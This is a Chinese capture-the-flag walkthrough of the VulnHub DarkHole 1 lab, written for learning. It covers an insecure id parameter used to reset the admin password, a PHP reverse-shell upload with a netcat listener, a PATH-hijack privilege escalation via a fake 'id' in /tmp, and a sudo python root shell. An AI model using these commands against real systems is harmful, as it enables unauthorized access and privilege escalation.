vulnhub靶机-DARKHOLE1
参考
https://www.freebuf.com/articles/others-articles/284338.html
https://resources.infosecinstitute.com/topic/darkhole-1-vulnhub-ctf-walkthrough/
工具
学习知识
1.越权访问
2.python pty伪终端 https://docs.python.org/zh-cn/3/library/pty.html#module-pty
3.linux环境变量提权 https://www.freebuf.com/articles/system/173903.html
基本程序
1.确认靶机ip
2.确认开放端口
3.寻找可用端口,扫描目录,找到可用漏洞。
漏洞:
1.越权访问
2.linux环境变量提权
4.尝试漏洞,后渗透
步骤
kali ip

1.确认靶机ip(192.168.47.139)

2.确认开放端口

3.寻找可用端口
22端口,可能存在ssh连接
80端口,查看

存在登录界面,而且存在注册


尝试注册进行抓包,并未发现可用

使用此账号进行登录,发现可以更改密码

尝试更改密码抓包,发现id可更改,尝试将此id改为1,即为admin用户。通过这个,我们可以修改用户admin的密码。之后,我们以 admin 用户身份登录到目标应用程序。我们开始通过管理员用户探索更多功能。

使用admin/flag1登录admin用户
发现admin用户可以上传文件,尝试上传文件
发现上传php一句话木马被拦截,更换后缀为php1上传成功,但不能运行,
最后尝试使用php-reverse-shell来反弹一个shell,后缀为phar
创建文件shell.phar 内容 https://codepasta.app/paste/c4p744vout2tbkhn54ag/raw
进行上传,成功

在kali中使用nc连接,然后运行此文件,连接成功
nc -lvp 11111

4.提权
获得 shell 访问权限后,我们注意到它是一个受限的 shell。因此,我们使用 python 命令来获得稳定的 shell 访问(交互shell)。
python3 -c 'import pty;pty.spawn("/bin/bash")'

在/home/john目录下发现文件,但不能打开。

使用Find命令,搜索具有SUID或4000权限的文件。发现无可用文件
find / -perm -u=s -type f 2>/dev/null

进行linux环境变量提权
由于我们执行这个程序时知道有一个程序从a运行,所以它显示了正在运行的用户,它是ID命令的输出。
我们必须做一些研究来确定一种滥用程序行为的方法。为此,我们首先将当前目录更改为“/tmp”。然后,我们使用 echo 命令创建了一个名为“flag”的文件。我们在文件中添加了“/bin/bash”脚本,并使用 chmod 命令为该文件提供了可执行权限。然后我们将路径设置为 tmp 文件夹。我们通过在 which 命令的帮助下调用“id”路径来验证更改是否已设置。输出显示了我们设置的路径。这意味着更改已成功配置。
echo 'bash' > /tmp/id;chmod +x /tmp/id; export PATH=/tmp:$PATH
让我们重新运行程序以查看更改。这应该有助于我们提升用户权限。
./toto

成功
获取user权限flag,打开password文件,有一个密码。查看用户权限,发现需密码,尝试root123,成功

发现可以运行file.py.
echo 'import os; os.system("/bin/bash")' > file.py
sudo /usr/bin/python3 /home/john/file.py

提权成功

浙公网安备 33010602011771号